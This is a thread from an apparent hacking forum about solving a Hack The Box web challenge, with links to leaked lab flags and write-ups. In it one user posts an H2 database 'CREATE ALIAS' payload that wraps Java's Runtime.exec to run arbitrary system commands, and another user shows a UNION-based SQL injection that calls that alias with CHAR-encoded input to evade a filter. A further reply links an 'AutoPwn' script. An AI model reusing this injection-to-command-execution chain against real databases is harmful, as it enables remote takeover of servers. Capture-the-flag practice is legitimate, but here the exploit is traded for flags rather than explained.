Pentest Notes Hackthebox Challenge flag
by trevor69000 - Sunday October 27, 2024 at 07:17 AM
#11
(11-14-2024, 10:59 PM)0xhdfg Wrote:
(10-27-2024, 08:12 PM)mazafaka555 Wrote:
(10-27-2024, 07:50 PM)Steward Wrote: you should better explain how to bypass filter for $$ and CONCAT instead of just flag

create aliases without a  `$`
CREATE ALIAS EXECVE AS 'String execve(String cmd) throws java.io.IOException { return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A").hasNext() ? new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A").next() : ""; }';


How can I then use the alias? I'm trying something like: 
SQL Injection' OR 1=0 UNION SELECT EXECVE(CHAR(119) + CHAR(104) + CHAR(111) + CHAR(97) + CHAR(109) + CHAR(105)) -- -
to bypass CONCAT but I don't get it to work :/

i posted AutoPwn script here for your consumption :
http://breachddyfwvcp4kzccos5oxtdbssmfbp...pwn-script
Reply
#12
Don't have credits, give me a clue :/
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 106 42,273 10-31-2026, 07:33 PM
Last Post: aistax
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 608 148,854 10-31-2026, 03:08 PM
Last Post: Gripson
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 383 138,851 10-31-2026, 11:47 AM
Last Post: thaytoiyeucoay30nam
  [FREE] HackTheBox Academy - CAPE Path Study Techtom 46 18,870 10-29-2026, 09:49 AM
Last Post: H0lyM0ly
  [Free] CDSA Path Flag -All RoanokeYehia 42 35,060 10-24-2026, 11:09 AM
Last Post: ReverseShellOnU7



 Users browsing this thread: 1 Guest(s)